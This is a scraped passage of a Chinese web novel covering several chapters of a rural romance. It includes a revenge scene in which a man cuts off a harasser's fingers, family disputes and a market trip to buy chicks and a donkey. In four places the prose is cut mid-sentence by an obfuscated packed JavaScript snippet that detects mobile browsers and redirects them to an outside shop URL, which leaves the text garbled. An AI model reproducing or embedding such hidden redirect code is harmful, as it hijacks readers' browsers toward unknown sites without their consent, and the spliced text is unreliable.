许见秋紧追两步:“我跟你一起去。” “你留在家,不然东西被人偷了怎么办。” “衣裳快干了,可以先收进屋。”许见秋怕他冲动,“再者,你走了后,若是再有像李三那样的人过来怎么办。” “……好,我们一起过去。” — 李三姓名住址都没谎报,他家就在大槐树拐角处。 家里三间正房两间偏房,门前晾晒着衣裳,小孩子扔石头玩,还有两只老母鸡在刨食。 “李阿叔。”祁胜唤了一声,“李三在家吗。” 李阿叔是李三的亲阿爹,正在厨房洗碗,听见声音走出门道:“在家,你找他有事?” 一边说着,视线一边从许见秋身上略过,李阿叔眼底闪过一抹嫉妒。 他大二二儿已成亲,三儿子混,二十多了还讨不到老婆,不过好歹愿意干活,一个月也能往家里交上一钱。 旁的不说,比祁胜这个懒汉要强多了。 可如今祁胜都有了夫郎,自己儿子却还单着。 更别提祁胜的夫郎还是镇上哥儿,长的好看还能补贴夫家。 怎么祁胜就有这狗屎运! “你叫他出来。”祁胜语气平平道,“我有挣钱的活儿找他。” 听说挣钱,李阿叔在身上擦了擦手,进屋叫儿子起床。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405061|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李三确实在镇上干了一整晚的活儿,刚睡熟,听见阿爹的声音头疼得很:“啥事?” “祁胜找你,说是有挣钱的活儿。” “祁胜?”听见这两个字,李三顿时清醒了,从床上坐起来。 没有哪个汉子能忍受别人调戏自己夫郎,祁胜定是来报仇的。 李三心里有些惧怕,又不想露怯。 但想了想,还是打算出去。 这是他李家,祁胜还能当着一家子的面把他怎么样不成? 再者,说不定真有活儿找他呢。被汉子调戏这种事,哥儿不一定敢说出去。 思及此,李三下床出门。 “什么活儿找我?”他装作什么都没发生的模样,笑着问。 祁胜扫了他一眼,攥住他的手腕,拽着他走进厨房,按在台面上,抄起菜刀,手起刀落—— 整个过程不过几息,众人还没有反应过来,便听见了一声令人惊悸的惨叫。 许见秋心脏一紧,正要进去,祁胜却已经从里面出来,面前的衣服上沾了斑驳血迹:“我没事。” “他……” 李阿叔后知后觉地尖叫一声,跑进厨房。 小孩子听见声音,也往这边跑。 祁胜两只手上也有血,便没去触碰夫郎,回道:“我砍断了他右手的四根手指。” 李家的菜刀厚重锋利,不止四根手指,李三大拇指也被削去了一块,不过治疗好应该还能用。 许见秋光是想象着画面都觉得可怕,他怕李家报复,拉着祁胜就想走。 祁胜却不动:“还不能走,等我撂几句狠话。” 若是这会儿走了,李家知道他们惧怕,带着同宗族的人找上门怎么办。 再者,若不叫所有人知道李三受伤的原因,那些心怀不轨之人又怎会忌惮? 厨房里,李阿叔看着满地血迹,再看儿子痛哭的模样,一时间眼泪直流,撕开自己的衣裳给儿子包扎。 小孩子没见过这么多血,更是怕得不行。 李家老二分出去了,老大留在家,大儿媳最近才生了孩子,在屋里坐月子,听见一堆尖叫声,不得不出来看看。 “阿爹,怎么了?” “我的儿被人砍了!你快去找老大回来。” 一听说小叔子被砍,知道厉害,大儿媳忙把最大的孩子叫来,让去地里喊人。 小孩拔腿就往外跑,李阿叔从厨房出来,冲到祁胜面前就要打。 周围已经出现了一些无干村民,都是听见动向来看热闹的。 祁胜轻而易举拦住他,毫不留情将人推倒在地上,厉声道:“李三骚扰我夫郎,言语污秽,只断他几根手指算便宜他了,若再敢不规矩,下回必断他两条腿。” 说罢,他拉着夫郎离开。 直到走回家,他神情才重新松弛下来:“抱歉,方才吓到你了。” “我没看见血腥场面,没有被吓到。”许见秋说着,朝男人温温柔柔地笑了一下,“谢谢你为我出头,把衣裳脱下来吧,我帮你洗洗。” “你是我夫郎,我为你出头是应该的。”祁胜脱掉上衣,顺便用脱下来的衣裳擦了擦手。 25. 衣裳 许见秋看着男人的胸膛,一时静默。 祁胜平常看着瘦,脱掉衣服后却并不显单薄,反而匀称美观。 但许见秋静默并非是羞涩,而是心疼。 祁胜上身有两道疤,一道在左胸,另一道在腹部。 都不长,都是利刃刺进去后所产生的贯穿伤痕。 “挺丑的,别看了。”祁胜把疤痕捂住,声音有些低哑。 许见秋轻声道:“当时很疼吧。” “是挺疼的,但都已经过去了,现在一点感觉都没有。” 许见秋还是觉得心疼,祁胜的父亲也太狠了,怎么能对亲儿子下这样的狠手。 “秋秋,你快去洗衣裳吧。”祁胜把衣裳塞给他,“别这样看着我了。” 他受不了夫郎专注关切的眼神,会让他很想要拥抱对方,做更深的事情。 许见秋不知道汉子心中所想,只以为对方是不想回忆起往事,便拿着衣裳去找皂角粉了。 走了几步,他想起什么,又折返回来:“阿胜,我给你做了一套新衣裳。” “新衣裳?” 他早就说过要给祁胜做衣裳,还量过尺寸,因此祁胜并不意外,但心里还是觉得慰贴高兴,星眸更亮了些:“在哪儿?” “就在箱子里,我给你拿。”许见秋把脏衣裳放进盆里,两人洗手后走进屋。 打开箱子,他将最上面的一套衣裳拿出来:“你试试看合不合身。” “你做的定然合身。”祁胜摸了摸料子,就是普通的粗棉布料,远比不上他从前当少爷时的穿着,可他心里竟有些舍不得,“晚上洗了澡再试吧,不想污了新衣。” “衣裳迟早要穿脏的。”许见秋道,“家里还有很多布料,年前我能再做出一套,所以不用舍不得。” 听他这样说,祁胜才把衣裳换了。 许见秋做衣裳的手艺不算顶好,布料也不够鲜亮,但剪裁得当,缝得也仔细,版型不错。 汉子个高腿长,换上尺寸合适的新衣,整个人都焕然一新,看着比平常俊多了。 不知是心态变化还是衣裳原因,亦或二者皆有,许见秋觉得汉子的气质也沉稳了不少。 “觉得我好看?”祁胜突然伸手抚上他的脸颊,大拇指在眼下刮过,眸底浮过一抹笑意。 脸颊发痒,许见秋下意识躲开,随后坦诚点头:“是好看。” 若非觉得对方长的好看,他也不会愿意嫁过来。 毕竟,在不知道对方是刘孝之前,祁胜的条件看起来确实差,名声也…… “我也觉得自个好看。”祁胜又捏了捏他的耳垂,“若非长了一张好脸,哪里骗得到这么好的夫郎。” “我又不是你骗来的。”许见秋推开他作乱的手,瞥他一眼,“而且你一开始根本不愿意要我。” 他还记得祁胜赶他走,虽然本心并非嫌弃他,可是他还是在心里小小地记了个“仇”。 “没有不愿意,是怕你跟着我受苦,怕你受我连累。”祁胜看着哥儿,认真解释道,“像你这般好的哥儿愿意跟我,是我八辈子修来的福分,哪里会真的不愿意。” 闻言,许见秋心里一动,主动抱住汉子:“我也是真心愿意嫁给你,并非因为判决。” 我知道。祁胜心说。 他给过许见秋很多次机会离开,可对方都没有走。 以后他不会再给机会了。 已经感受过温暖,又如何能舍得放手。 * 李家。 李大赶回家,妻子月娘递给他一杯茶水,说了发生的事。 “阿爹带三弟去马郎中家了,厨房的血迹阿爹不让动,我就没管。” 听明前因后果,李大黝黑的脸上满是愁容:“指头都断了,还能接上吗。” “谁知道呢。” “恐怕是接不上了。”李大不通医理,可常识还是知道的。 想到弟弟以后就是个半残废了,他怨恨起祁胜:“祁胜怎么能这样,就算老三调戏了他夫郎,又没真的发生什么,他断老三手指,实在是太过分了。” 月娘闻言没有说话。 她不喜欢李三,李三混得很,在家里啥活儿都不干,吃住从公家出,一个月就交一钱,够干什么? 她闹过几次分家,可李大惯着弟弟,李阿爹更心疼儿子,李家人联合起来,她一个弱女子只有落败的份。 现如今李三吃了教训,在她看来就是活该,混账就该有人收拾。 不过,毕竟都是李家的,李三残了,再去外面找活儿就艰难了,恐怕以后一钱月费都交不出,还要他们伺候。 想到这里,月娘眉毛也皱了起来。 “我得去找祁胜算账,不能就这么忍下这口气,否则以后别人怎么看我们李家。”李大突然站起来,“你在家照顾孩子,我去找老二。” 月娘忙拉住他:“你不能去。” “我不去难道要当缩头乌龟?” “你去了再被砍一刀,让我跟孩子怎么活?”月娘不放手,“再说了,你找老二,你以为老二他不知道家里的事?村里那么多人都看见了,他住的又不远,几步路就过来了,可他现在还没来,你猜是为什么。” 李大道:“老二他可能在外面干活,还不知道这件事。” 说罢,他又要往外走,月娘还想拉他,被他狠推了一把,后腰撞到桌沿,痛呼出声。 她当即坐在地上哭起来,大骂李大不是个人。 李大本不想管,可月娘声音太大,外面的人都能听见,他怕丢脸,只能折回去:“你哭什么,我又不是故意的。” “是,你不是故意的,你若是故意的,我这会儿都去见阎王了!”月娘抹着眼泪,往椅子上一坐,嚷道,“我给你们李家生了两儿一女,到头来就是这个下场?” “你若是嫌弃我,我这就去吊死,你再找个媳妇!” 李家在无穷村不算穷,可也没钱娶两个媳妇。 再者说了,大儿子都八岁记事了,这个时候把他亲娘逼死,长大了岂不是要怨恨老子。 想到这些,李大慌忙道:“我哪敢嫌弃你,只是别人都欺负到我们李家头上来了,我若是不去,你日后岂不被人嘲笑。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405062|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你去了把事情闹大,我们才更被嘲笑。”月娘哭道,“强辱女子哥儿是大罪,要流放千里的,你的好弟弟虽没办成,可若是惹怒了他们,他们去告官,同样要受罚的。” “他砍断我弟弟的手指,照样判刑。” “可我们的名声怎么办,人家是为夫郎出头,你呢,为你那作恶的弟弟出头?”月娘说,“我们还有两个儿子一个女儿,你这般行事,往后他们长大了,有恶名盖在头上,家里又穷,还如何娶妻嫁人?” 农村成亲比镇上城里要早得多,着急的人家过了十岁就要定亲,十三四就结婚的并不稀奇。 大儿子已经八岁,距离说亲也要不了几年了。 李大惯弟弟,但更在乎儿子,冷静下来后,便不再想要出门了。 月娘趁热打铁,又提出分家一事。 “……若不想你儿子被他的名声所连累,就必须分家。” “可如今老三断了手指,分家后他怎么活。”李大不忍心。 月娘道:“他还有另一只手,怎么就不能活了,再者,分家后咱们还在一个村,他真有什么不方便的,你和老二轮流去帮他不就行了。” 月娘晓之以情动之以理,李大态度渐渐松动,同意了此事:“等阿爹回来,我跟他商量。” “不,先不要说。”月娘道,“若是今日就提起此事,阿爹定会生气,等过段时间,老三的手好的差不多了,你再跟他说。” * 转眼间五天过去,两间青砖房和院墙都砌好了,李家没有一个人过来找茬,许见秋才彻底放心。 送走工匠,看着新房子和新院子,他摸了摸窗框,心里止不住喜悦,看向祁胜:“明日咱们就能住进去了,真好。” ——等一天是因为新房子还没有干透。 祁胜回望夫郎,心里也高兴:“这两天收的菜也越来越多了,正好后日赶集,咱们先把收来的菜送到食馆。” “嗯。”许见秋道,“到时候看看集市有没有合适的柜子和板车,有就买回来。” 最好还能买头驴,但若是买驴,家里就彻底没钱了。 盖房子总共花费十两,买床支出三两二钱,最近收菜花了一两三钱,目前他手里只剩七两零四十五文。 把干菜交到食馆能收入一些,但还要买柜子板车,说不准看见其它好东西也要买,到时候手里估摸着也就剩五两。 五两得压在箱底,不能随便花费出去,否则遇见什么意外,急用时没钱就糟了。 还是得想法子挣钱。 “如今有了院子,我们买些鸡苗,养鸡如何。”许见秋忽然想到。 他们家没地,俩人又没孩子,家务活他一个人干完,还有许多空闲,完全可以照顾鸡苗。 “不过我没有养过,可以先买几只,若能养活最好,养不活也亏不了多少。”许见秋继续道。 祁胜也赞同:“可以一试。” “试什么呀?”院门外忽然传来一道带笑男声。 许见秋回首望过去,发现是名穿着布衣、戴帽子的清秀汉子。再仔细一看,竟是月哥儿。 26. 恶报 许见秋心里又惊又喜,疾步走过去:“月哥儿,你怎么来了。” 月哥儿跨进门,语气欢快:“不止有我,公子也来了。” 果然,下一瞬徐景然便出现在他们眼前,同样一身汉子装扮,遮了眉心哥儿痣,迈步进来。 月哥儿这才把背在身后的手转移到前面,将手里提的礼品递给许见秋:“这是送你们夫夫的东西,一点茶叶和糖。” “不用拿东西的,你们人来我已经很高兴了。”许见秋说着,还是将礼物收下。 月哥儿跑出去牵驴,徐景然含笑道:“初次登门没有空手的道理,下次再来就不带了,你若去我家,也不必带礼物。” 说罢,他打量了一番院内光景,心下有些五味杂陈。 他来之前便知晓祁胜家很穷,据说穷的只剩两间破房子了,连遮风挡雨都不能保证。眼下一看,虽有新房新院,可条件还是寒酸得不行。 这新房新院还是许见秋带来的,之前一两年,祁胜就只住着两间破房子。 经历过富贵生活,又是如何忍受的? 收起心里不该有的想法,徐景然又露出道笑:“其实我今日是来无穷村执行公务的,想到你们住在这里,顺便来看看。” 许见秋便道:“公务忙吗,若是不忙,留下来吃顿饭吧,正好快晌午了。” 徐景然点头说要留下,并正色道:“不要加菜,你们平日里吃什么,便给我们做什么。我们今日来无穷村,是为了调查清楚无穷村的现状。” 原来公务是这个。 许见秋笑着应下:“只要你们不嫌弃就行。” 由于新房还不能住人,旧房太小,祁胜将木桌搬进院子里,拿了夫郎带来的茶杯,烧水泡了几杯粗茶。 ——是徐景然要求粗茶。 “若是喝不惯粗茶便倒了。”许见秋交代。 徐景然浅抿一口,粗茶入口干涩,还有一股难言的苦味,滋味实在不好,但他并未倒掉,反而又喝了一口。 “还好。”若连一杯茶都喝不下去,又如何感知无穷村百姓的具体生活。 月哥儿也喝了几口,道:“秋哥儿,我来帮你做饭吧,我会烧火。” “行。” 两人进了厨房,徐景然看了眼对面的祁胜,低声开口道:“好久不见。” “徐公子,我和秋哥儿才回村没多久,不算很久不见吧。”祁胜挠了挠头,神色疑惑。 徐景然垂眸:“你说的对,是我措词有问题。” 他抬眼,声音恢复自然:“祁胜,你在无穷村生活的时间比较久,能跟我说说这村里的情况吗。” “当然可以。” — 午饭不复杂,杂粮粥和一张大饼,菜只有一盘辣椒炒茄子,还有腌菜。 杂粮粥没放糖,吃起来没有味道,但因为熬得软烂,因此不算很难吃。饼是半杂面的,尚可。 “茄子好吃,你们家不愧是开食馆的。”徐景然咬了一口饼夹菜,毫不吝啬地夸赞,“我从未吃过如此简单却美味的茄子。” 许见秋谦虚道:“你过奖了,我不过是多放了些油和盐。” “我家不缺油盐,可厨子做出来的就没这么好,还是手艺问题。”徐景然说着,话锋一转,“秋哥儿,我上次说的事,你还是打算拒绝吗。” ——指的是让许见秋来给他当助手一事。 没想到徐景然还会再提,许见秋微愣,随后点头:“祁胜他……不爱热闹,若是我跟着你做事,家里免不了来往进出,会打扰到他。” 说白了,就是怕见的人多,尤其怕见到徐明那边的人,怕祁胜被人认出来。 闻言,徐景然想说什么,想了想又咽回原话,叹道:“罢了,不与我合作也好,左右我在木城县待不了几年。” 徐明以榜眼身份赴任县令,刚上任便有了“查清科举舞弊”的功绩,上面又有人照应,接下来只要所辖范围不出大乱子,三年期满考核定然升职。 若是能再做出卓然政绩,还能提前升迁。 四人继续吃饭,徐景然告诉了他们一个好消息:胡家分家,胡老爷重病不起,胡天楠科举作弊,已经被捕。 “不过他的罪名比较轻,大概率不会判刑,只会革除功名终生不得入仕,游街一周,罚些银两。” “能让他得到应有的惩罚便可。”许见秋顿了顿,“若没有徐大人,还不知他要嚣张多久。” 徐景然笑道:“我哥身为木城县的父母官,肃清民风、维护公平是他应该做的。” “原来的蔡大人呢。”祁胜插话,“他是否获罪?” 徐景然:“蔡有光媚上欺下,鱼肉百姓,参与科举舞弊一事,罪行重大,择日押送刑部审理。” “太好了。”许见秋眸色亮了亮,“这些作恶的一个也跑不了。” “是的,恶有恶报。”月哥儿吃完手里的饼,又拿了一块。 待到吃过午饭,看过新屋,在院子里坐了一小会儿,徐景然便起身说要去走访村民。 “你们对村里不熟悉,让祁胜领路吧。”许见秋道。 徐景然道:“不必,等会儿去过冯家后,我会让冯四哥领路。” 冯四哥是无穷村土生土长的人,且是名哥儿,显然更适合带路。 许见秋便道:“好,若四哥儿不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405063|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,你再回来找我们。” 徐景然点头应下,坐上驴车,月哥儿赶车离开。 * 胡家 胡姨娘守在胡老爷床前,双眼通红。 她并非痛心胡老爷重病,而是担忧亲儿子,担忧自身。 胡天楠被分了出去,得到的财产不及嫡子的五分之一,又被抓进了牢里,后半辈子堪忧。 她更是凄惨,身为姨娘,没有老爷夫人的恩准,没法儿跟着自己儿子一起走,只能留在这里。 如今老爷要不行了,她跟夫人斗了那么多年,难道夫人会放过她? “别哭了,也不怕把眼睛哭瞎。”胡夫人从外面大步踏进来,语气听不出情绪。 胡姨娘忙擦了擦眼泪,躬身行礼:“夫人。” “回去休息吧,人各有命,你守在这里也唤不醒他。”胡夫人打湿帕子,给胡老爷擦了擦脸。 胡姨娘不敢走,她怕胡老爷死了,那她的天就真的塌了。 看出她心里所想,胡夫人叹了口气:“你生过孩子后身体便再不如从前,又不再年轻,能守得了多久?” 胡姨娘低着头,咬着牙不吭声。 “你现在回去,等到胡天楠从牢里出来,若他愿意,我便准许他将你接走,颐养天年,如何?” 胡姨娘不可置信地抬头:“你……你骗我……” “我骗你做什么,养着你对我有什么好处?”胡夫人道,“再者,你真觉得自己不走,我就拿你没办法?” 胡老爷卧病床榻,家里便是胡夫人的一言堂,想要她离开,有一万种方法。 “……是。”胡姨娘又行了个礼,退下了。 胡夫人走到床前坐下,接过侍女手中的药碗,叫人把胡老爷的嘴掰开,一勺一勺往里送药。 她想起自己才嫁过来时,年轻的胡老爷体态正常,浓眉大眼,说话好听,做事也体贴。她不幸染了风寒,对方便亲自熬药,端到床前亲自喂她。 她以为自己遇到了良人,便拼尽全力为胡家付出谋划。胡老爷不擅经商,如今的生意至少有她一半的功劳。 可好景不长,她很快便发现对方养了外室,且不止一个。 当时的心境她已经记不清了,总之后来胡老爷有了张兰这个姨娘,外室也没断过。张兰没脑子,总是挑衅她,跟她作对,仿佛将她斗倒就能拥有一切。 她知道胡老爷就爱看她们妻妾相争,就如同百姓看斗蛐蛐。可她没有办法,身在此山中,只能做个“毒妇”。 如今倒是真成毒妇了。 胡夫人将一碗药喂干净,起身吩咐:“都走吧,让老爷独自睡一会儿。” 27. 买驴 淡黄色鸡仔翘着小脑袋盯人,“叽叽”叫着,声音清脆嫩生。 “这都是自家老母鸡孵出来,喂了一个月才拿出来卖的,你看看,一个个活蹦乱跳的,保准好养活。”布巾包头的老太太从笼子里捉出一只,递到面前的俊俏小哥儿手上,“你摸摸这爪子这嘴,都有劲儿着呢。” 许见秋捧着小小的鸡子,感受着并不尖利爪子踩在自己手心,不禁心动。 一路走过来,这是第三家卖鸡仔的。前两家他和祁胜已经看过,都很小,也不够活泼,还是这家好。 “你觉得怎么样。”他小声问祁胜。 祁胜完全不懂如何挑选鸡苗,回道:“我都听你的。” 许见秋摸了摸爪子和小翅膀,又仔细看了尖嘴,问道:“这鸡仔多少钱一只。” “十二文。”老太报价。 如今能孵小鸡的鸡蛋市价在五文一颗,已经孵化出来的鸡仔自然更贵,更何况还养了一个月。 不过:“十二文太贵了,这些鸡仔又不一定都能成活,便宜些吧,八文。” 老太瞪眼:“你这小哥儿真敢杀价,如今鸡蛋越来越贵,我这还养了一个多月,费那么多粮食,八文不可能卖,咋说也得十文。” 许见秋觉得十文也有些贵:“九文吧。” “不行,得再加点。” 从孵化小鸡到售卖鸡苗,其中不仅要提供粮食,还有折损,因此老太绝不肯便宜卖掉,许见秋也不想高价买。 二人讨价还价半天,最后一百二十文买了十只鸡仔和一个竹编鸡笼。 鸡笼只有上方有口,刚好可以让人伸一只胳膊进去,小鸡待在里面跳不出来,更是无法从狭小的孔洞里钻出去,是村里养小鸡必备的好物。 把挑选出来的小鸡都放进去,祁胜拎起笼子,两人继续往前走。 集市半个月开一次,每次热热闹闹,卖什么的都有。 走了几步,许见秋看见有卖炉子和锅具的,很多人在看,便拉着祁胜过去。 家里有个烧水小炉子,但较为破旧,漏风不好用,小锅则根本没有,只有灶台上的一口大锅。 他们两人吃饭,其实用炉子会更加省柴方便,所以他想再买个炉子,买一口合适的锅。 “泥炉小的五十,大的八十,铁锅最小的五钱,中号八钱,大的二两。”摊主是两个汉子一个妇人,年长些的汉子正跟旁人说价格。 小铁锅配小泥炉,中铁锅配大泥炉,最大的适合放在灶台上。 地上还有大小不一的陶罐,不知是什么价。 见年轻哥儿不住盯着泥炉看,又见他衣服几乎没有补丁,妇人心里有了数,热情招呼:“小哥儿,小泥炉看看吧,买回家烧水炖汤都好用着呢,比大灶省柴得多,陶罐也好用,个个厚实,只要不摔,保管能用上几十年。” 许见秋原本就想买,听她这么一说更加心动了。 “小陶罐多少钱。” 妇人:“小的三十,大点的四十。” 价格不算贵。 许见秋拿起一个小的掂了掂,又举起来看了看底部。 妇人:“不漏水,我们家每次赶集都在这附近摆摊,要是漏水你拿来换,我退钱不说,再赔给你三个。” “确实不错。”许见秋看了一眼身边的男人,将陶罐轻轻放下,“但是我们没有车不好拿,等会儿再来买吧。” 光是一个小陶罐就很重了,再加上炉子和铁锅,他们哪里提得动。 “行,我们会一直摆摊到晌午。”妇人笑着说。 许见秋起身,余光正好扫见了卖板车的。 是名年龄略老的汉子,牵着一头毛驴,驴和车都卖。 开价不高甚至算低,板车只要一两二钱,若连驴一起买,总共五两,配件全送。 “这驴才五岁,买回家至少还能用十年,板车就更不用说了,没有任何损坏的地方,用的木料也好。”汉子说着,叫他们走近看。 看过板车,许见秋大着胆子摸了摸黑毛驴。 毛驴不是顶好的那种,但看着也不差,带着嘴笼,两只大眼睛盯着他。 “这驴老实着呢,从来不伤人,要不是孙子怕驴,我是怎么也舍不得卖的。” 板车确实是好的,但驴……许见秋虽常常见到驴,但到底不是内行,怕这驴内里有病。 他道:“只是小孩子怕驴罢了,把驴拴好,别让小孩子靠近不就是了。” “不是那么简单的,我那孙儿和驴相冲,哪怕只是待在同一个院子里,也会害他身上起疹子,哭闹不止,必须得把驴送走才行。”说着,汉子叹了口气。 他是真舍不得驴,可为了大孙子的健康,只能如此。 许见秋见他不像在说假话,心思不由得活泛起来。 如今建了大院子,再建个驴棚不费事。 有了驴,祁胜就能赶驴去收菜,一天能多跑好几个村,人也轻松些,这样几天跑一次就够了,剩余的时间可以帮人运货,或者做“计里车”,在村镇间来往载人。 他想回家看望爹娘兄弟也会方便很多。 总之,驴对他们来说是很有用的,也能让他们挣更多钱。 就怕这驴不好。 “买吧。”旁边的祁胜忽然开口。 犹豫间听见这句话,许见秋便下决定:“我们都要了。” 他今日带的银钱多,荷包还有约摸六两。 称出五两,许见秋收荷包,汉子把缰绳交给祁胜。 在这一瞬间,温驯的黑毛驴仿佛察觉到主人要把自己“抛弃”了,顿时挣扎起来,尥蹶子摆脑袋,不愿跟祁胜走。 驴体重高力量大,闹起来很吓人,许见秋连忙退了几步,保证自己的安全。 祁胜并没有往后退,而是继续握着缰绳,以防毛驴乱跑。 “听话!”汉子也拽住缰绳,另一只手拿出皮鞭,抽了毛驴几下,竖目喝道:“让你跟他们走就走,再不听话把你卖到酒楼去,扒皮抽筋!” 毛驴大概是听懂了,四条腿焦急地在原地踏了几下,两只大眼睛紧盯着主人,似乎在诉说委屈。 “我已经收了钱,你跟他们走。”老汉子生硬说完,扭过头,不愿再看身后的驴,抬手示意他们将驴带走。 祁胜尝试拉动缰绳,没使太大力。 黑驴看了一眼自己的老主人,没有再闹,慢慢挪动蹄子。 看完全程,许见秋心中有些涩然,又庆幸自己买到了一头好驴。 他走到祁胜身边,接过鸡笼:“我们去买炉子吧。” “好。” 二人折回去买了一个大泥炉,一个中号铁锅,摊主给便宜了三十文,支出八钱五十文。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405064|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这下真的一穷二白了。”许见秋拎着轻了大半的荷包,笑着说道。 “会挣回来的。”祁胜看着夫郎,捉了一下手,保证道。 许见秋不自觉又朝他笑了笑,将鸡笼也放在板车上:“还剩一百多文,你有没有什么想买的。” “没有。” 许见秋:“买一坛竹酒吧。” 他记得二人初见时,对方找他要十文钱,就是为了喝竹酒。 “你喜欢喝竹酒?”祁胜神色有些古怪。 许见秋摇头:“从未喝过。” 他只喝过米酒和食馆卖的两种平价酒。 米酒好喝,另外两种他觉得一般。 “那就别买了,竹酒不好喝。”祁胜说,“名头唬人,实则和竹没有关系,起个风雅名字只是为了迎合读书人。” “好吧。”许见秋顿了顿,问道,“你喜欢喝什么,咱们买一坛。” “喝茶足矣。”祁胜没有酒瘾。 猜测祁胜是为了省钱,许见秋也觉得家里剩下的钱不多,便没再买东西。 — 回到食馆,许父和许成林都仔细相看了一番毛驴,没找出毛病。 既然没病,这驴就买的很值了。 “这下好了,以后你回家也方便,骑着驴就回来了。”许父语气明显高兴。 “我也是这么想的。”许见秋说罢,抿了抿唇,有点不好意思地道,“爹,娘,大哥,不知家里有没有多余的陶罐。” 上次他拿回家了两个,但还是不太够用,想再拿两个。 “有,等会儿你自己去挑。”许母说着,抬手摸了摸他的发顶,“跟家里不用客气,你只是不在家里常住,又不是断绝关系了。” 许见秋闻言道:“那我就不客气了,我想再拿一坛糯米酒。” “拿呗。” “房里的大衣柜我准备搬到无穷村。” 赵雪梅愣了一下,旋即无声地叹了口气:“搬吧,你们小两口确实柜子太少。” 只是衣柜搬走,房间就显得更冷清了。 不过总是要经历这么一遭的,儿女长大了都会离开父母。 “娘,爹,等我和祁胜挣了钱,便搬到镇上住。”许见秋出声道,“到时候还要多麻烦你们。” 赵雪梅脸上又浮现出笑容:“说什么麻烦,等我跟你爹老了,还不是要麻烦你们这些小的。” 说了一通话,见祁胜一直不怎么吭声,赵雪梅便找话题道:“哥婿可有什么想吃的,让老二给你们做。” “我都行。” “那我就随便做了,反正一家人不用太客气。”许成林笑说着,转身进了厨房。 祁胜很有眼色,跟进去帮忙,许见秋也自己找了活儿干。 许父许母却对视一眼,进了房间。 关上门,二老压低声音。 许母:“买了驴,估计秋儿手里头没钱了。” 许父:“二十两不是在你手里,先给他一部分。” 若是一次性全给了,被汉子骗走可就遭了。 虽说祁胜一直表现得不错,可毕竟成亲也没多久,兴许是装的呢? 有些汉子能装上好几年,防人之心不可无。 两口子商量了一会儿,决定先给五两,过年再给五两,剩下的十两,等生了孩子再给。 28. 喂鸡 晌午忙碌过后,许成林将许见秋喊进房间,跟他说了一件事。 “徐公子问你要不要跟着他做事?”许见秋心中微诧。 许成林点头:“正是,他说找不到可信赖的人手,问我愿不愿意跟随他经商,需要各地往返。” 许成林:“他是县令老爷的亲弟弟,按理说跟着他大有前途,可我脑筋不太灵光,打小念书就不上不下的,怕跟着他做不出事业来,又耽误了年岁。” “爹娘已经在为我说亲,这件事你知道的。若是娶了妻子,总不好叫她才进门就见不着我的面。” “可若是错过了这番机会,又怕将来后悔,因此犹豫不定。” 许见秋眨了眨眼,道:“先不成亲不就好了。” 这话忽叫许成林尴尬起来,挠了挠头,讪讪:“我……” 纵使面对亲弟弟,有些话也难以说出口。 “大哥你想成亲?”许见秋忽然明白过来,旋即调侃道,“你可是有了意中人?” 许成林更难解释了,汉子到了年岁,哪怕没有意中人,也会想要成亲。 他只好说:“没有,只是看旁人都成亲生子了,心中艳羡。” “贸然成亲不一定会有好结果,不若去外面多看看,兴许途中就遇见合适的人了,纵使遇不到,也增长了见识。”许见秋分析道,“最多耽误一两年罢了。” “你说的是。”许成林被说动,“我还年轻,不能贪图安乐,该去闯一闯。” 说罢,许成林又道:“我若走了,食馆便需要增添一名厨子,你看你要不要回来。” 许见秋想了想,摇头:“我们家才建了新房新院,买了驴,在乡下日子不会艰难,地方也宽敞,搬回家反而拘束。” 若不住家里,在镇上租房子又是一笔钱,完全划不来。 — 未时过半,许见秋二人已经回到无穷村。 是许成林赶车送他们回来的——因为没有驴棚,黑驴暂且养在许家。 万一驴有什么问题,许家在镇上也好处理。 九母一公十只鸡都还很活泼,笼子一落地就开始叽叽叫唤。 “估计是饿了,娘说鸡的肠胃和人不一样,饿得快。”许见秋说,“你给它们喂水,我去拌点饲料。” 镇上有卖小鸡吃的饲料,由玉米、豆粕、麸皮打碎制成。 